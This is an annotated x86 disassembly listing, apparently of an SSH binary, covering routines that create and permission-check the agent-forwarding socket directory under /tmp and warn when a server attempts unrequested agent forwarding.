0805a213  c7 05 5c 7e 07 08 00 00 00 00  movl  $0x0,0x8077e5c   ;0 'x0 x0 x0 x0' ""
0805a21d  a1 60 7e 07 08               mov     0x8077e60,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0805a222  85 c0                        test    %eax,%eax
0805a224  74 32                        je      0805a258 <Unknown0216+0x6c>
0805a226  83 ec 0c                     sub     $0xc,%esp
0805a229  68 1d 2b 07 08               push    $0x8072b1d   ;[in .rodata] 1342177327 'x2f x0 x0 x50' "/"
0805a22e  e8 89 fe fe ff               call    0804a0bc <chdir>
0805a233  59                           pop     %ecx
0805a234  ff 35 60 7e 07 08            pushl   0x8077e60   ;[in .data] 0 'x0 x0 x0 x0' ""
0805a23a  e8 5d 00 ff ff               call    0804a29c <rmdir>
0805a23f  5a                           pop     %edx
0805a240  ff 35 60 7e 07 08            pushl   0x8077e60   ;[in .data] 0 'x0 x0 x0 x0' ""
0805a246  e8 c5 cc ff ff               call    08056f10 <Unknown0172>
0805a24b  83 c4 10                     add     $0x10,%esp
0805a24e  c7 05 60 7e 07 08 00 00 00 00  movl  $0x0,0x8077e60   ;0 'x0 x0 x0 x0' ""
0805a258  c9                           leave
0805a259  c3                           ret
0805a25a  89 f6                        mov     %esi,%esi


   ;
   ; >---------------------<  Subroutine # 217 >---------------------<
   ;
0805a25c <Unknown0217>:
0805a25c  55                           push    %ebp
0805a25d  89 e5                        mov     %esp,%ebp
0805a25f  57                           push    %edi
0805a260  56                           push    %esi
0805a261  53                           push    %ebx
0805a262  81 ec ac 01 00 00            sub     $0x1ac,%esp   ;428 'xac x1 x0 x0' ""
0805a268  e8 73 ff ff ff               call    0805a1e0 <Unknown0215>
0805a26d  85 c0                        test    %eax,%eax
0805a26f  74 10                        je      0805a281 <Unknown0217+0x25>
0805a271  83 ec 0c                     sub     $0xc,%esp
0805a274  68 20 2b 07 08               push    $0x8072b20   ;[in .rodata] 1953460816 'x50 x72 x6f x74' "Protocol
                                                error: authentication forwarding requested twice."
0805a279  e8 de 5c ff ff               call    0804ff5c <Unknown0044>
0805a27e  83 c4 10                     add     $0x10,%esp
0805a281  8b 45 08                     mov     0x8(%ebp),%eax
0805a284  8b 38                        mov     (%eax),%edi
0805a286  fc                           cld
0805a287  31 c0                        xor     %eax,%eax
0805a289  b9 ff ff ff ff               mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805a28e  f2 ae                        repnz scas %es:(%edi),%al
0805a290  f7 d1                        not     %ecx
0805a292  83 ec 0c                     sub     $0xc,%esp
0805a295  83 c1 23                     add     $0x23,%ecx
0805a298  51                           push    %ecx
0805a299  e8 f2 cb ff ff               call    08056e90 <Unknown0170>
0805a29e  8b 55 08                     mov     0x8(%ebp),%edx
0805a2a1  8b 3a                        mov     (%edx),%edi
0805a2a3  a3 5c 7e 07 08               mov     %eax,0x8077e5c   ;[in .data] 0 'x0 x0 x0 x0' ""
0805a2a8  fc                           cld
0805a2a9  31 c0                        xor     %eax,%eax
0805a2ab  b9 ff ff ff ff               mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805a2b0  f2 ae                        repnz scas %es:(%edi),%al
0805a2b2  f7 d1                        not     %ecx
0805a2b4  83 c1 17                     add     $0x17,%ecx
0805a2b7  89 0c 24                     mov     %ecx,(%esp,1)
0805a2ba  e8 d1 cb ff ff               call    08056e90 <Unknown0170>
0805a2bf  8b 55 08                     mov     0x8(%ebp),%edx
0805a2c2  ff 32                        pushl   (%edx)
0805a2c4  68 5b 2b 07 08               push    $0x8072b5b   ;[in .rodata] 1886221359 'x2f x74 x6d x70'
                                                "/tmp/ssh-%.50s"
0805a2c9  89 c3                        mov     %eax,%ebx
0805a2cb  8b 3a                        mov     (%edx),%edi
0805a2cd  fc                           cld
```

```
0805a2ce  89 1d 60 7e 07 08      mov      %ebx,0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a2d4  31 c0                   xor      %eax,%eax
0805a2d6  b9 ff ff ff ff          mov      $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0805a2db  f2 ae                   repnz scas %es:(%edi),%al
0805a2dd  f7 d1                   not      %ecx
0805a2df  83 c1 17                add      $0x17,%ecx
0805a2e2  51                      push     %ecx
0805a2e3  53                      push     %ebx
0805a2e4  e8 f3 ff fe ff          call     0804a2dc <snprintf>
0805a2e9  83 c4 20                add      $0x20,%esp
0805a2ec  e8 9b f9 fe ff          call     08049c8c <getpid>
0805a2f1  50                      push     %eax
0805a2f2  68 6a 2b 07 08          push     $0x8072b6a  ;[in .rodata] 761820019 'x73 x73 x68 x2d'
                                                        "ssh-%d-agent"
0805a2f7  8b 55 08                mov      0x8(%ebp),%edx
0805a2fa  8b 3a                   mov      (%edx),%edi
0805a2fc  fc                      cld
0805a2fd  31 c0                   xor      %eax,%eax
0805a2ff  b9 ff ff ff ff          mov      $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0805a304  f2 ae                   repnz scas %es:(%edi),%al
0805a306  f7 d1                   not      %ecx
0805a308  83 c1 23                add      $0x23,%ecx
0805a30b  51                      push     %ecx
0805a30c  ff 35 5c 7e 07 08       pushl    0x8077e5c  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a312  e8 c5 ff fe ff          call     0804a2dc <snprintf>
0805a317  59                      pop      %ecx
0805a318  5b                      pop      %ebx
0805a319  6a 00                   push     $0x0
0805a31b  68 ec a1 05 08          push     $0x805a1ec  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a320  e8 5f 5b ff ff          call     0804fe84 <Unknown0041>
0805a325  83 ec 08                sub      $0x8,%esp
0805a328  6a 2f                   push     $0x2f
0805a32a  ff 35 60 7e 07 08       pushl    0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a330  e8 27 ff fe ff          call     0804a25c <strrchr>
0805a335  89 c6                   mov      %eax,%esi
0805a337  83 c4 20                add      $0x20,%esp
0805a33a  85 f6                   test     %esi,%esi
0805a33c  74 08                   je       0805a346 <Unknown0217+0xea>
0805a33e  3b 35 60 7e 07 08       cmp      0x8077e60,%esi  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a344  75 16                   jne      0805a35c <Unknown0217+0x100>
0805a346  83 ec 08                sub      $0x8,%esp
0805a349  ff 35 60 7e 07 08       pushl    0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a34f  68 80 2b 07 08          push     $0x8072b80  ;[in .rodata] 1699881002 'x2a x20 x52 x65' "* Remote
                                                        error: Invalid SSH_AGENT_SOCKET_DIR '%.100s', it should
                                                        contain at least one /."
0805a354  e9 6b 02 00 00          jmp      0805a5c4 <Unknown0217+0x368>  ;619 'x6b x2 x0 x0' "k"
0805a359  8d 76 00                lea      0x0(%esi),%esi
0805a35c  c6 06 00                movb     $0x0,(%esi)
0805a35f  8d 85 58 fe ff ff       lea      0xfffffe58(%ebp),%eax  ;-424 'x58 xfe xff xff' "X"
0805a365  52                      push     %edx
0805a366  50                      push     %eax
0805a367  ff 35 60 7e 07 08       pushl    0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a36d  6a 03                   push     $0x3
0805a36f  e8 b8 fc fe ff          call     0804a02c <__xstat>
0805a374  89 c3                   mov      %eax,%ebx
0805a376  83 c4 10                add      $0x10,%esp
0805a379  85 db                   test     %ebx,%ebx
0805a37b  79 27                   jns      0805a3a4 <Unknown0217+0x148>
0805a37d  83 ec 10                sub      $0x10,%esp
0805a380  e8 b7 fa fe ff          call     08049e3c <__errno_location>
0805a385  5f                      pop      %edi
0805a386  ff 30                   pushl    (%eax)
0805a388  e8 5f fa fe ff          call     08049dec <strerror>
0805a38d  83 c4 0c                add      $0xc,%esp
0805a390  50                      push     %eax
0805a391  ff 35 60 7e 07 08       pushl    0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a397  68 20 2c 07 08          push     $0x8072c20  ;[in .rodata] 1699881002 'x2a x20 x52 x65' "* Remote
                                                        error: Agent parent directory '%.100s' stat failed:
                                                        %.100s"
0805a39c  e9 23 02 00 00          jmp      0805a5c4 <Unknown0217+0x368>  ;547 'x23 x2 x0 x0' "#"
0805a3a1  8d 76 00                lea      0x0(%esi),%esi
0805a3a4  c6 06 2f                movb     $0x2f,(%esi)
0805a3a7  56                      push     %esi
0805a3a8  8d 85 18 ff ff ff       lea      0xffffff18(%ebp),%eax  ;-232 'x18 xff xff xff' ""
0805a3ae  50                      push     %eax
0805a3af  ff 35 60 7e 07 08       pushl    0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a3b5  6a 03                   push     $0x3
0805a3b7  e8 30 fd fe ff          call     0804a0ec <__lxstat>
0805a3bc  89 c3                   mov      %eax,%ebx
0805a3be  83 c4 10                add      $0x10,%esp
0805a3c1  85 db                   test     %ebx,%ebx
0805a3c3  c7 85 54 fe ff ff 00 00 00 00  movl  $0x0,0xfffffe54(%ebp)  ;0 'x0 x0 x0 x0' ""
0805a3cd  79 29                   jns      0805a3f8 <Unknown0217+0x19c>
0805a3cf  e8 68 fa fe ff          call     08049e3c <__errno_location>
```

```
0805a3d4  8b 00                   mov     (%eax),%eax
0805a3d6  83 f8 02                cmp     $0x2,%eax
0805a3d9  74 1d                   je      0805a3f8 <Unknown0217+0x19c>
0805a3db  83 ec 0c                sub     $0xc,%esp
0805a3de  50                      push    %eax
0805a3df  e8 08 fa fe ff          call    08049dec <strerror>
0805a3e4  83 c4 0c                add     $0xc,%esp
0805a3e7  50                      push    %eax
0805a3e8  ff 35 60 7e 07 08       pushl   0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a3ee  68 80 2c 07 08          push    $0x8072c80  ;[in .rodata] 1699881002 'x2a x20 x52 x65' "* Remote
                                                      error: stat of agent directory '%.100s' failed: %.100s"
0805a3f3  e9 cc 01 00 00          jmp     0805a5c4 <Unknown0217+0x368>  ;460 'xcc x1 x0 x0' ""
0805a3f8  85 db                   test    %ebx,%ebx
0805a3fa  79 6c                   jns     0805a468 <Unknown0217+0x20c>
0805a3fc  e8 3b fa fe ff          call    08049e3c <__errno_location>
0805a401  89 c3                   mov     %eax,%ebx
0805a403  83 3b 02                cmpl    $0x2,(%ebx)
0805a406  75 60                   jne     0805a468 <Unknown0217+0x20c>
0805a408  83 ec 08                sub     $0x8,%esp
0805a40b  68 c0 01 00 00          push    $0x1c0  ;448 'xc0 x1 x0 x0' ""
0805a410  ff 35 60 7e 07 08       pushl   0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a416  e8 f1 f7 fe ff          call    08049c0c <mkdir>
0805a41b  83 c4 10                add     $0x10,%esp
0805a41e  85 c0                   test    %eax,%eax
0805a420  75 26                   jne     0805a448 <Unknown0217+0x1ec>
0805a422  53                      push    %ebx
0805a423  8d 85 18 ff ff ff       lea     0xffffff18(%ebp),%eax  ;-232 'x18 xff xff xff' ""
0805a429  50                      push    %eax
0805a42a  ff 35 60 7e 07 08       pushl   0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a430  6a 03                   push    $0x3
0805a432  c7 85 54 fe ff ff 01 00 00 00  movl  $0x1,0xfffffe54(%ebp)  ;1 'x1 x0 x0 x0' ""
0805a43c  e8 ab fc fe ff          call    0804a0ec <__lxstat>
0805a441  83 c4 10                add     $0x10,%esp
0805a444  eb 56                   jmp     0805a49c <Unknown0217+0x240>
0805a446  89 f6                   mov     %esi,%esi
0805a448  83 ec 0c                sub     $0xc,%esp
0805a44b  ff 33                   pushl   (%ebx)
0805a44d  e8 9a f9 fe ff          call    08049dec <strerror>
0805a452  83 c4 0c                add     $0xc,%esp
0805a455  50                      push    %eax
0805a456  ff 35 60 7e 07 08       pushl   0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a45c  68 c0 2c 07 08          push    $0x8072cc0  ;[in .rodata] 1699881002 'x2a x20 x52 x65' "* Remote
                                                      error: Agent directory '%.100s' mkdir failed: %.100s"
0805a461  e9 5e 01 00 00          jmp     0805a5c4 <Unknown0217+0x368>  ;350 'x5e x1 x0 x0' "^"
0805a466  89 f6                   mov     %esi,%esi
0805a468  8b 55 08                mov     0x8(%ebp),%edx
0805a46b  8b 42 08                mov     0x8(%edx),%eax
0805a46e  39 85 30 ff ff ff       cmp     %eax,0xffffff30(%ebp)  ;-208 'x30 xff xff xff' "0"
0805a474  75 0c                   jne     0805a482 <Unknown0217+0x226>
0805a476  f7 85 28 ff ff ff 3f 00 00 00  testl  $0x3f,0xffffff28(%ebp)  ;63 'x3f x0 x0 x0' "?"
0805a480  74 1a                   je      0805a49c <Unknown0217+0x240>
0805a482  51                      push    %ecx
0805a483  ff b5 28 ff ff ff       pushl   0xffffff28(%ebp)  ;-216 'x28 xff xff xff' "("
0805a489  ff 35 60 7e 07 08       pushl   0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a48f  68 00 2d 07 08          push    $0x8072d00  ;[in .rodata] 1699881002 'x2a x20 x52 x65' "* Remote
                                                      error: Agent socket creation:Bad modes/owner for
                                                      directory '%.100s' (modes are %o, should b"
0805a494  e9 2b 01 00 00          jmp     0805a5c4 <Unknown0217+0x368>  ;299 'x2b x1 x0 x0' "+"
0805a499  8d 76 00                lea     0x0(%esi),%esi
0805a49c  83 ec 0c                sub     $0xc,%esp
0805a49f  ff 35 60 7e 07 08       pushl   0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a4a5  e8 12 fc fe ff          call    0804a0bc <chdir>
0805a4aa  83 c4 0c                add     $0xc,%esp
0805a4ad  8d 85 b8 fe ff ff       lea     0xfffffeb8(%ebp),%eax  ;-328 'xb8 xfe xff xff' ""
0805a4b3  50                      push    %eax
0805a4b4  68 6e 2d 07 08          push    $0x8072d6e  ;[in .rodata] 46 'x2e x0 x0 x0' "."
0805a4b9  6a 03                   push    $0x3
0805a4bb  e8 6c fb fe ff          call    0804a02c <__xstat>
0805a4c0  83 c4 10                add     $0x10,%esp
0805a4c3  85 c0                   test    %eax,%eax
0805a4c5  74 25                   je      0805a4ec <Unknown0217+0x290>
0805a4c7  83 ec 10                sub     $0x10,%esp
0805a4ca  e8 6d f9 fe ff          call    08049e3c <__errno_location>
0805a4cf  5a                      pop     %edx
0805a4d0  ff 30                   pushl   (%eax)
0805a4d2  e8 15 f9 fe ff          call    08049dec <strerror>
0805a4d7  83 c4 0c                add     $0xc,%esp
0805a4da  50                      push    %eax
0805a4db  ff 35 60 7e 07 08       pushl   0x8077e60  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a4e1  68 80 2d 07 08          push    $0x8072d80  ;[in .rodata] 1699881002 'x2a x20 x52 x65' "* Remote
                                                      error: stat '.' failed after chdir to '%.100s': %.100s"
0805a4e6  e9 d9 00 00 00          jmp     0805a5c4 <Unknown0217+0x368>  ;217 'xd9 x0 x0 x0' ""
0805a4eb  90                      nop
0805a4ec  8b 9d 1c ff ff ff       mov     0xffffff1c(%ebp),%ebx  ;-228 'x1c xff xff xff' ""
```

```
0805a4f2   8b 8d 18 ff ff ff    mov     0xffffff18(%ebp),%ecx   ;-232 'x18 xff xff xff' ""
0805a4f8   8b 85 b8 fe ff ff    mov     0xfffffeb8(%ebp),%eax   ;-328 'xb8 xfe xff xff' ""
0805a4fe   8b 95 bc fe ff ff    mov     0xfffffebc(%ebp),%edx   ;-324 'xbc xfe xff xff' ""
0805a504   89 de                mov     %ebx,%esi
0805a506   31 d6                xor     %edx,%esi
0805a508   31 c8                xor     %ecx,%eax
0805a50a   09 c6                or      %eax,%esi
0805a50c   75 0e                jne     0805a51c <Unknown0217+0x2c0>
0805a50e   8b 85 c4 fe ff ff    mov     0xfffffec4(%ebp),%eax   ;-316 'xc4 xfe xff xff' ""
0805a514   39 85 24 ff ff ff    cmp     %eax,0xffffff24(%ebp)   ;-220 'x24 xff xff xff' "$"
0805a51a   74 10                je      0805a52c <Unknown0217+0x2d0>
0805a51c   83 ec 0c             sub     $0xc,%esp
0805a51f   68 c0 2d 07 08       push    $0x8072dc0    ;[in .rodata] 1699881002 'x2a x20 x52 x65' "* Remote
                                                        error: Agent socket creation: wrong directory after
                                                        chdir"
0805a524   e9 9b 00 00 00       jmp     0805a5c4 <Unknown0217+0x368>  ;155 'x9b x0 x0 x0' ""
0805a529   8d 76 00             lea     0x0(%esi),%esi
0805a52c   57                   push    %edi
0805a52d   8d 85 18 ff ff ff    lea     0xffffff18(%ebp),%eax   ;-232 'x18 xff xff xff' ""
0805a533   50                   push    %eax
0805a534   68 03 2e 07 08       push    $0x8072e03    ;[in .rodata] 11822 'x2e x2e x0 x0' ".."
0805a539   6a 03                push    $0x3
0805a53b   e8 ec fa fe ff       call    0804a02c <__xstat>
0805a540   83 c4 10             add     $0x10,%esp
0805a543   85 c0                test    %eax,%eax
0805a545   74 1d                je      0805a564 <Unknown0217+0x308>
0805a547   83 ec 10             sub     $0x10,%esp
0805a54a   e8 ed f8 fe ff       call    08049e3c <__errno_location>
0805a54f   5e                   pop     %esi
0805a550   ff 30                pushl   (%eax)
0805a552   e8 95 f8 fe ff       call    08049dec <strerror>
0805a557   59                   pop     %ecx
0805a558   5b                   pop     %ebx
0805a559   50                   push    %eax
0805a55a   68 20 2e 07 08       push    $0x8072e20    ;[in .rodata] 1699881002 'x2a x20 x52 x65' "* Remote
                                                        error: Agent socket directory stat '..' failed: %.100s"
0805a55f   eb 63                jmp     0805a5c4 <Unknown0217+0x368>
0805a561   8d 76 00             lea     0x0(%esi),%esi
0805a564   8b 85 28 ff ff ff    mov     0xffffff28(%ebp),%eax   ;-216 'x28 xff xff xff' "("
0805a56a   a9 00 02 00 00       test    $0x200,%eax   ;512 'x0 x2 x0 x0' ""
0805a56f   75 1b                jne     0805a58c <Unknown0217+0x330>
0805a571   52                   push    %edx
0805a572   50                   push    %eax
0805a573   ff 35 60 7e 07 08    pushl   0x8077e60    ;[in .data] 0 'x0 x0 x0 x0' ""
0805a579   68 60 2e 07 08       push    $0x8072e60    ;[in .rodata] 1699881002 'x2a x20 x52 x65' "* Remote
                                                        error: Agent socket creation: Directory '%.100s/..' is
                                                        not sticky, mode is %o, should be 04"
0805a57e   e8 f9 c1 ff ff       call    0805677c <Unknown0156>
0805a583   c7 04 24 e0 2e 07 08 movl    $0x8072ee0,(%esp,1)   ;[in .rodata] 1699881002 'x2a x20 x52 x65' "*
                                                        Remote error: Authentication forwarding
                                                        disabled."
0805a58a   eb 44                jmp     0805a5d0 <Unknown0217+0x374>
0805a58c   8b 9d 1c ff ff ff    mov     0xffffff1c(%ebp),%ebx   ;-228 'x1c xff xff xff' ""
0805a592   8b 8d 18 ff ff ff    mov     0xffffff18(%ebp),%ecx   ;-232 'x18 xff xff xff' ""
0805a598   8b 85 58 fe ff ff    mov     0xfffffe58(%ebp),%eax   ;-424 'x58 xfe xff xff' "X"
0805a59e   8b 95 5c fe ff ff    mov     0xfffffe5c(%ebp),%edx   ;-420 'x5c xfe xff xff' "\"
0805a5a4   89 de                mov     %ebx,%esi
0805a5a6   31 d6                xor     %edx,%esi
0805a5a8   31 c8                xor     %ecx,%eax
0805a5aa   09 c6                or      %eax,%esi
0805a5ac   75 0e                jne     0805a5bc <Unknown0217+0x360>
0805a5ae   8b 85 64 fe ff ff    mov     0xfffffe64(%ebp),%eax   ;-412 'x64 xfe xff xff' "d"
0805a5b4   39 85 24 ff ff ff    cmp     %eax,0xffffff24(%ebp)   ;-220 'x24 xff xff xff' "$"
0805a5ba   74 20                je      0805a5dc <Unknown0217+0x380>
0805a5bc   83 ec 0c             sub     $0xc,%esp
0805a5bf   68 20 2f 07 08       push    $0x8072f20    ;[in .rodata] 1699881002 'x2a x20 x52 x65' "* Remote
                                                        error: Agent socket creation: wrong parent directory
                                                        after chdir (last component of socket "
0805a5c4   e8 b3 c1 ff ff       call    0805677c <Unknown0156>
0805a5c9   c7 04 24 e0 2b 07 08 movl    $0x8072be0,(%esp,1)   ;[in .rodata] 1699881002 'x2a x20 x52 x65' "*
                                                        Remote error: Authentication fowarding
                                                        disabled."
0805a5d0   e8 a7 c1 ff ff       call    0805677c <Unknown0156>
0805a5d5   31 c0                xor     %eax,%eax
0805a5d7   e9 aa 01 00 00       jmp     0805a786 <Unknown0217+0x52a>  ;426 'xaa x1 x0 x0' ""
0805a5dc   50                   push    %eax
0805a5dd   6a 00                push    $0x0
0805a5df   6a 01                push    $0x1
0805a5e1   6a 01                push    $0x1
0805a5e3   e8 84 fe fe ff       call    0804a46c <socket>
0805a5e8   89 c6                mov     %eax,%esi
0805a5ea   83 c4 10             add     $0x10,%esp
0805a5ed   85 f6                test    %esi,%esi
```

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0805a5ef  79 20                 jns    0805a611 <Unknown0217+0x3b5>
0805a5f1  83 ec 10              sub    $0x10,%esp
0805a5f4  e8 43 f8 fe ff        call   08049e3c <__errno_location>
0805a5f9  5f                    pop    %edi
0805a5fa  ff 30                 pushl  (%eax)
0805a5fc  e8 eb f7 fe ff        call   08049dec <strerror>
0805a601  59                    pop    %ecx
0805a602  5b                    pop    %ebx
0805a603  50                    push   %eax
0805a604  68 a0 2f 07 08        push   $0x8072fa0  ;[in .rodata] 1852139329 'x41 x67 x65 x6e' "Agent
                                                              socket creation failed: %.100s"
0805a609  e8 d2 c1 ff ff        call   080567e0 <Unknown0157>
0805a60e  83 c4 10              add    $0x10,%esp
0805a611  52                    push   %edx
0805a612  6a 6e                 push   $0x6e
0805a614  6a 00                 push   $0x0
0805a616  8d 9d 78 ff ff ff     lea    0xffffff78(%ebp),%ebx  ;-136 'x78 xff xff xff' "x"
0805a61c  53                    push   %ebx
0805a61d  e8 8a fd fe ff        call   0804a3ac <memset>
0805a622  83 c4 0c              add    $0xc,%esp
0805a625  6a 6c                 push   $0x6c
0805a627  ff 35 5c 7e 07 08     pushl  0x8077e5c  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a62d  8d 85 7a ff ff ff     lea    0xffffff7a(%ebp),%eax  ;-134 'x7a xff xff xff' "z"
0805a633  50                    push   %eax
0805a634  66 c7 85 78 ff ff ff 01 00  movw  $0x1,0xffffff78(%ebp)  ;-136 'x78 xff xff xff' "x"
0805a63d  e8 8a fd fe ff        call   0804a3cc <strncpy>
0805a642  c7 04 24 6d 01 00 00  movl   $0x16d,(%esp,1)  ;365 'x6d x1 x0 x0' "m"
0805a649  e8 de f6 fe ff        call   08049d2c <umask>
0805a64e  89 c7                 mov    %eax,%edi
0805a650  58                    pop    %eax
0805a651  ff 35 5c 7e 07 08     pushl  0x8077e5c  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a657  e8 10 f7 fe ff        call   08049d6c <unlink>
0805a65c  83 c4 0c              add    $0xc,%esp
0805a65f  6a 6e                 push   $0x6e
0805a661  53                    push   %ebx
0805a662  56                    push   %esi
0805a663  e8 94 fb fe ff        call   0804a1fc <bind>
0805a668  83 c4 10              add    $0x10,%esp
0805a66b  85 c0                 test   %eax,%eax
0805a66d  79 20                 jns    0805a68f <Unknown0217+0x433>
0805a66f  83 ec 10              sub    $0x10,%esp
0805a672  e8 c5 f7 fe ff        call   08049e3c <__errno_location>
0805a677  5b                    pop    %ebx
0805a678  ff 30                 pushl  (%eax)
0805a67a  e8 6d f7 fe ff        call   08049dec <strerror>
0805a67f  5a                    pop    %edx
0805a680  59                    pop    %ecx
0805a681  50                    push   %eax
0805a682  68 e0 2f 07 08        push   $0x8072fe0  ;[in .rodata] 1852139329 'x41 x67 x65 x6e' "Agent
                                                              socket bind failed: %.100s"
0805a687  e8 54 c1 ff ff        call   080567e0 <Unknown0157>
0805a68c  83 c4 10              add    $0x10,%esp
0805a68f  83 ec 0c              sub    $0xc,%esp
0805a692  57                    push   %edi
0805a693  e8 94 f6 fe ff        call   08049d2c <umask>
0805a698  8b 9d 54 fe ff ff     mov    0xfffffe54(%ebp),%ebx  ;-428 'x54 xfe xff xff' "T"
0805a69e  83 c4 10              add    $0x10,%esp
0805a6a1  85 db                 test   %ebx,%ebx
0805a6a3  74 3b                 je     0805a6e0 <Unknown0217+0x484>
0805a6a5  51                    push   %ecx
0805a6a6  8b 45 08              mov    0x8(%ebp),%eax
0805a6a9  ff 70 0c              pushl  0xc(%eax)
0805a6ac  ff 70 08              pushl  0x8(%eax)
0805a6af  68 6e 2d 07 08        push   $0x8072d6e  ;[in .rodata] 46 'x2e x0 x0 x0' "."
0805a6b4  e8 83 f5 fe ff        call   08049c3c <chown>
0805a6b9  83 c4 10              add    $0x10,%esp
0805a6bc  85 c0                 test   %eax,%eax
0805a6be  79 20                 jns    0805a6e0 <Unknown0217+0x484>
0805a6c0  83 ec 10              sub    $0x10,%esp
0805a6c3  e8 74 f7 fe ff        call   08049e3c <__errno_location>
0805a6c8  5a                    pop    %edx
0805a6c9  ff 30                 pushl  (%eax)
0805a6cb  e8 1c f7 fe ff        call   08049dec <strerror>
0805a6d0  5b                    pop    %ebx
0805a6d1  5f                    pop    %edi
0805a6d2  50                    push   %eax
0805a6d3  68 20 30 07 08        push   $0x8073020  ;[in .rodata] 1852139329 'x41 x67 x65 x6e' "Agent
                                                              socket directory chown failed: %.100s"
0805a6d8  e8 03 c1 ff ff        call   080567e0 <Unknown0157>
0805a6dd  83 c4 10              add    $0x10,%esp
0805a6e0  83 ec 08              sub    $0x8,%esp
0805a6e3  6a 05                 push   $0x5
0805a6e5  56                    push   %esi
0805a6e6  e8 11 f8 fe ff        call   08049efc <listen>
```

```
0805a6eb  83 c4 10             add     $0x10,%esp
0805a6ee  85 c0                test    %eax,%eax
0805a6f0  79 20                jns     0805a712 <Unknown0217+0x4b6>
0805a6f2  83 ec 10             sub     $0x10,%esp
0805a6f5  e8 42 f7 fe ff       call    08049e3c <__errno_location>
0805a6fa  59                   pop     %ecx
0805a6fb  ff 30                pushl   (%eax)
0805a6fd  e8 ea f6 fe ff       call    08049dec <strerror>
0805a702  5f                   pop     %edi
0805a703  5a                   pop     %edx
0805a704  50                   push    %eax
0805a705  68 60 30 07 08       push    $0x8073060  ;[in .rodata] 1852139329 'x41 x67 x65 x6e' "Agent
                                                      socket listen failed: %.100s"
0805a70a  e8 d1 c0 ff ff       call    080567e0 <Unknown0157>
0805a70f  83 c4 10             add     $0x10,%esp
0805a712  83 ec 10             sub     $0x10,%esp
0805a715  e8 72 f5 fe ff       call    08049c8c <getpid>
0805a71a  89 04 24             mov     %eax,(%esp,1)
0805a71d  8b 55 08             mov     0x8(%ebp),%edx
0805a720  ff 32                pushl   (%edx)
0805a722  68 83 30 07 08       push    $0x8073083  ;[in .rodata] 1886221359 'x2f x74 x6d x70'
                                                      "/tmp/ssh-%.50s/ssh-%d-agent"
0805a727  8b 3a                mov     (%edx),%edi
0805a729  fc                   cld
0805a72a  31 c0                xor     %eax,%eax
0805a72c  b9 ff ff ff ff       mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0805a731  f2 ae                repnz scas %es:(%edi),%al
0805a733  f7 d1                not     %ecx
0805a735  83 c1 23             add     $0x23,%ecx
0805a738  51                   push    %ecx
0805a739  ff 35 5c 7e 07 08    pushl   0x8077e5c  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a73f  e8 98 fb fe ff       call    0804a2dc <snprintf>
0805a744  83 c4 14             add     $0x14,%esp
0805a747  68 9f 30 07 08       push    $0x807309f  ;[in .rodata] 1752462689 'x61 x75 x74 x68' "auth
                                                      socket"
0805a74c  e8 e7 c7 ff ff       call    08056f38 <Unknown0173>
0805a751  83 c4 0c             add     $0xc,%esp
0805a754  50                   push    %eax
0805a755  56                   push    %esi
0805a756  6a 0a                push    $0xa
0805a758  e8 0f d8 ff ff       call    08057f6c <Unknown0180>
0805a75d  89 c2                mov     %eax,%edx
0805a75f  c1 e2 05             shl     $0x5,%edx
0805a762  59                   pop     %ecx
0805a763  01 c2                add     %eax,%edx
0805a765  5b                   pop     %ebx
0805a766  8d 14 50             lea     (%eax,%edx,2),%edx
0805a769  a1 48 7e 07 08       mov     0x8077e48,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a76e  ff 35 5c 7e 07 08    pushl   0x8077e5c  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a774  8d 54 90 34          lea     0x34(%eax,%edx,4),%edx
0805a778  52                   push    %edx
0805a779  e8 6e fd fe ff       call    0804a4ec <strcpy>
0805a77e  83 c4 10             add     $0x10,%esp
0805a781  b8 01 00 00 00       mov     $0x1,%eax  ;1 'x1 x0 x0 x0' ""
0805a786  8d 65 f4             lea     0xfffffff4(%ebp),%esp
0805a789  5b                   pop     %ebx
0805a78a  5e                   pop     %esi
0805a78b  5f                   pop     %edi
0805a78c  5d                   pop     %ebp
0805a78d  c3                   ret
0805a78e  89 f6                mov     %esi,%esi


  ;
  ; >---------------------<  Subroutine # 218 >---------------------<
  ;
0805a790 <Unknown0218>:
0805a790  55                   push    %ebp
0805a791  89 e5                mov     %esp,%ebp
0805a793  56                   push    %esi
0805a794  53                   push    %ebx
0805a795  e8 6a bf ff ff       call    08056704 <Unknown0151>
0805a79a  89 c6                mov     %eax,%esi
0805a79c  a1 80 7e 07 08       mov     0x8077e80,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0805a7a1  85 c0                test    %eax,%eax
0805a7a3  75 3b                jne     0805a7e0 <Unknown0218+0x50>
0805a7a5  83 ec 0c             sub     $0xc,%esp
0805a7a8  68 c0 30 07 08       push    $0x80730c0  ;[in .rodata] 1852989783 'x57 x61 x72 x6e' "Warning:
                                                      Server attempted agent forwarding without client
                                                      request"
0805a7ad  e8 56 56 ff ff       call    0804fe08 <Unknown0040>
0805a7b2  c7 04 24 60 29 07 08 movl    $0x8072960,(%esp,1)  ;[in .rodata] 1852989783 'x57 x61 x72 x6e'
                                                      "Warning: This is a probable break-in attempt
```

